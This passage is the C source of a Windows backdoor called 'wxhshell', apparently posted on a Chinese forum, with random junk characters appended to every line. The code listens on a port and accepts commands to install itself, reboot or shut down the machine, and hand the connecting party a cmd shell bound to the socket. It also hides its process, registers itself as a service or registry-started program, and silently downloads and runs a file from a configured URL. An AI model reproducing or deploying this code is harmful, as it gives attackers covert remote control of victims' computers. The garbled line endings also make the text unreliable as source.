  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B4\:2hBq  
  } yPzULO4  
  else { &dwI8@&  
~q'w),bE"Q  
    switch(cmd[0]) { t9$AvE#a!=  
  ]sm0E@1  
  // 帮助 Y7b,td1  
  case '?': { ;S{Ld1;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O>b&-U"R  
    break; i SAidK,  
  } X,iuz/Q  
  // 安装 eK=m02  
  case 'i': { W=;(t  
    if(Install()) YN5OuKMUd'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R5'Z4.~  
    else v4,syd*3|V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )=,9`+Zta  
    break; u #=kb5}{  
    } $&n240(  
  // 卸载 c^dl+-{Mc  
  case 'r': { =A6u=  
    if(Uninstall()) '^.=gTk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _>_y@-b  
    else 0N3tsIm>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KOAz-h@6   
    break; XCqfAcNQ  
    } =xlYQ}-(a  
  // 显示 wxhshell 所在路径 sGDrMAQt  
  case 'p': { S8W_$=4  
    char svExeFile[MAX_PATH]; DoCQFSL  
    strcpy(svExeFile,"\n\r"); dZ]\1""#H  
      strcat(svExeFile,ExeFile); mn6p s6OB  
        send(wsh,svExeFile,strlen(svExeFile),0); v @I^:I  
    break; 1TD&&EC  
    } i-"h"nF"  
  // 重启 <=y5 8O]x  
  case 'b': { Z>MJ0J76]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $V{- @=  
    if(Boot(REBOOT)) T0np<l]A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w'!}(Z5X?  
    else { U7f&N  
    closesocket(wsh); NkjQyMF  
    ExitThread(0); No92Y^~/  
    } OL mBh3&  
    break; {7M4SC@p|  
    } )*$  
  // 关机 ~A:;?A'.  
  case 'd': { b$`4Nn|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]B[/sqf  
    if(Boot(SHUTDOWN)) Q'Jpsmwu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %f3Nml  
    else { E{k%d39>  
    closesocket(wsh); 2AdHj&XE  
    ExitThread(0); )l!&i?h%  
    } IpaJ<~ p  
    break; !i"9f_  
    } 9OJ\n|,(  
  // 获取shell y 4,T  
  case 's': { s$nfY.C  
    CmdShell(wsh); pg}DC0a  
    closesocket(wsh); yQA"T?  
    ExitThread(0); enD C#  
    break; DRB YH(  
  } k}Clq;G  
  // 退出 vsr~[d=  
  case 'x': { aY1#K6(y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j|$y)FBX  
    CloseIt(wsh); Lw2YP[CR  
    break; E/ed0'|m  
    } XGrxzO|{  
  // 离开 Z]>e& N  
  case 'q': { \8>N<B)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )>A%FL9  
    closesocket(wsh); 0 *Yivx6  
    WSACleanup(); C6T 9  
    exit(1); Nm :|C 3_I  
    break; kp &XX|  
        } ?k7/`g U  
  } 1 FIiX  
  } {*]= qSz  
'?!<I  
  // 提示信息 T?}=k{C]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =L; n8~{@y  
} A`8}J4  
  } ~zOU/8n ,F  
V:" \(Y  
  return; O6/=/-?N=c  
} r'JK$9  
>,Swk3  
// shell模块句柄 T.Y4L  
int CmdShell(SOCKET sock) TX5/{cHd  
{ +WEO]q?K  
STARTUPINFO si; c.me1fGn  
ZeroMemory(&si,sizeof(si)); 6`$z*C2{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FVLA^$5c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -3XnK5  
PROCESS_INFORMATION ProcessInfo; nh.v?|  
char cmdline[]="cmd"; c$Nl-?W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8w@jUGsc  
  return 0; ;>hPHx  
} >a] s  
H-y-7PW*~  
// 自身启动模式 vH\nL>r  
int StartFromService(void) O7_NXfh|  
{ $/(/v?3][e  
typedef struct W;x LuKIG  
{ kd2'-9  
  DWORD ExitStatus; @P*P8v8:  
  DWORD PebBaseAddress; ).#D:eO[~  
  DWORD AffinityMask; R8Ei:f}  
  DWORD BasePriority; ;og<eK  
  ULONG UniqueProcessId; n#AH@`&i  
  ULONG InheritedFromUniqueProcessId; Vh-h{  
}   PROCESS_BASIC_INFORMATION; )t 7HioQ  
(YH{%8 Z0  
PROCNTQSIP NtQueryInformationProcess; # 2t\>7]  
V\lF:3C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sBG(CpQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gYIYA"xN`  
oM7-1O  
  HANDLE             hProcess; ,T>2zSk  
  PROCESS_BASIC_INFORMATION pbi; (HgdmN%  
K1:)J.ca_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yy:sZJ  
  if(NULL == hInst ) return 0; = |zyi|  
us *l+Jw,m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K?<Odw'k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :r+ 1>F$o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^\t">NJ^  
.3SjkC4I  
  if (!NtQueryInformationProcess) return 0; ) W7H{#  
*>H'@gS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4>eg@sN  
  if(!hProcess) return 0; pv.),Iv-68  
X~VZ61vNu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9jFDBy+  
L.&Vi"M <@  
  CloseHandle(hProcess); Gi_X+os  
~x#-#nuh"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t-{OP?cE1  
if(hProcess==NULL) return 0; \DdVMn  
?4dd|n  
HMODULE hMod; &%51jM<  
char procName[255]; A)0m~+?{J  
unsigned long cbNeeded; 'n`$c{N<tM  
, Vr6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w0OK. fj  
lcLxqnv  
  CloseHandle(hProcess); a'.=.eDQ  
\shoLp   
if(strstr(procName,"services")) return 1; // 以服务启动 5%$kAJZC-  
<t2?Oii;  
  return 0; // 注册表启动 Hd}t=6  
} ^8t*WphZC  
vx,6::%]  
// 主模块 )CU(~s|s  
int StartWxhshell(LPSTR lpCmdLine) Gs?sO?j  
{ Xc<9[@  
  SOCKET wsl; Cf 8 - %  
BOOL val=TRUE; wn.0U  
  int port=0; F= lj$?4{  
  struct sockaddr_in door;  5Ww\h  
4}b:..Ku  
  if(wscfg.ws_autoins) Install(); +DDvM;31w  
6H9]]Unju  
port=atoi(lpCmdLine); [IW7]Fv<F  
B9 {DO  
if(port<=0) port=wscfg.ws_port; }6(:OB?  
1&WFs6  
  WSADATA data; t)ry)[Dxv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *gKr1}M  
pEP.^[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }jXUd=.Nu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l0,O4k2'  
  door.sin_family = AF_INET; nP /$uj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "@Fxfd+Ot  
  door.sin_port = htons(port); vdM\scO:  
N{@ eV][Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DA\O,^49h  
closesocket(wsl); 2^+"GCo  
return 1; 3`I_  
} 0<;B2ce  
 vpMv  
  if(listen(wsl,2) == INVALID_SOCKET) { q3:' 69  
closesocket(wsl); rJxT)bR  
return 1; g==^ioS}*  
} (/BkwbJyE  
  Wxhshell(wsl); Ke!O^zP92  
  WSACleanup(); D~,R @7  
T9.gs}B0  
return 0; n*uZ=M_/Q  
60$    
} y%AJ>@/;  
\FM- FQK  
// 以NT服务方式启动 1+#8} z:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yLX\pkAt4  
{ 2HNS|GHb&  
DWORD   status = 0; &c !-C_L 2  
  DWORD   specificError = 0xfffffff; {,-#;A*yW  
>skS`/6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *l} 0x@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E{B<}n|}&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u?i1n=Ne  
  serviceStatus.dwWin32ExitCode     = 0; Q^OzFfR6  
  serviceStatus.dwServiceSpecificExitCode = 0; =+WFx3/  
  serviceStatus.dwCheckPoint       = 0; 'r0gqtB  
  serviceStatus.dwWaitHint       = 0; `w }"0+V  
+cN2 KP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |^&e\8>.  
  if (hServiceStatusHandle==0) return; bf+2c6_BN0  
2:yv:7t/  
status = GetLastError(); >oNs_{  
  if (status!=NO_ERROR) w5Z3e^g  
{ gsH_pG-jU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CaMG$X&O  
    serviceStatus.dwCheckPoint       = 0; VP&lWPA}\$  
    serviceStatus.dwWaitHint       = 0; }#M|3h;q9+  
    serviceStatus.dwWin32ExitCode     = status; TjdYCk]'  
    serviceStatus.dwServiceSpecificExitCode = specificError; fE iEy%o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xg&vZzcl  
    return; :|TBsd|/x  
  } $+j )  
a{=~#u8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MJoC*8QxM  
  serviceStatus.dwCheckPoint       = 0; ~]Jfg$'  
  serviceStatus.dwWaitHint       = 0; fQh!1R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,#{aAx|]  
} D1a4+AyI  
vbU{Et\ ^  
// 处理NT服务事件,比如:启动、停止 !k^\`jMzw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +{Ttv7l_2  
{ ,q1RJiR  
switch(fdwControl) FE.:h'^h  
{ K9iR>put  
case SERVICE_CONTROL_STOP: 4P5wEqU.<  
  serviceStatus.dwWin32ExitCode = 0; 5Ml}m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k,J?L-F  
  serviceStatus.dwCheckPoint   = 0; 4{ &   
  serviceStatus.dwWaitHint     = 0; UWp(3FQ  
  { K[H$qJmPX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MtljI6  
  } o/#e y  
  return; j~0hAKHG  
case SERVICE_CONTROL_PAUSE: z#b6 aP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d!cx%[  
  break; li?Gb1  
case SERVICE_CONTROL_CONTINUE: ,==lgM2V>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <Z Ls+|1  
  break; qmGB~N|N  
case SERVICE_CONTROL_INTERROGATE: 9b>a<Z  
  break; (msJ:SG  
}; &%<G2x$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZZUCwczI  
} uWSG+  
(Y86q\DQ?|  
// 标准应用程序主函数 AiuF3`Xa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3-0Y<++W3>  
{ vnE,}(M  
3mWN?fC  
// 获取操作系统版本 *hba>LZ  
OsIsNt=GetOsVer(); H4U;~)i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rHznXME$wZ  
/C"E*a  
  // 从命令行安装 a"EXR-+8  
  if(strpbrk(lpCmdLine,"iI")) Install(); /@K?W=w4  
:hr%iu  
  // 下载执行文件 8@!SM  
if(wscfg.ws_downexe) { xM(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G 8@%)$A  
  WinExec(wscfg.ws_filenam,SW_HIDE); F-m1GG0s  
} e2>gQ p/  
zPn8>J<.0Q  
if(!OsIsNt) { };|'8'5  
// 如果时win9x,隐藏进程并且设置为注册表启动 |jlR] ,  
HideProc(); 7ORwDR,`5  
StartWxhshell(lpCmdLine); <5 okwcJ^  
} O1QHG'00  
else YS9|J=!~  
  if(StartFromService()) D .E>Y  
  // 以服务方式启动 {"s8X(#_sC  
  StartServiceCtrlDispatcher(DispatchTable); 1cPi>?R:  
else i^yQ; 2 -  
  // 普通方式启动 w] VvH"?  
  StartWxhshell(lpCmdLine); OF)X(bi4j  
fYpy5vc-dm  
return 0; Li}yK[\]  
}
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只看该作者 1 发表于: 2006-10-10
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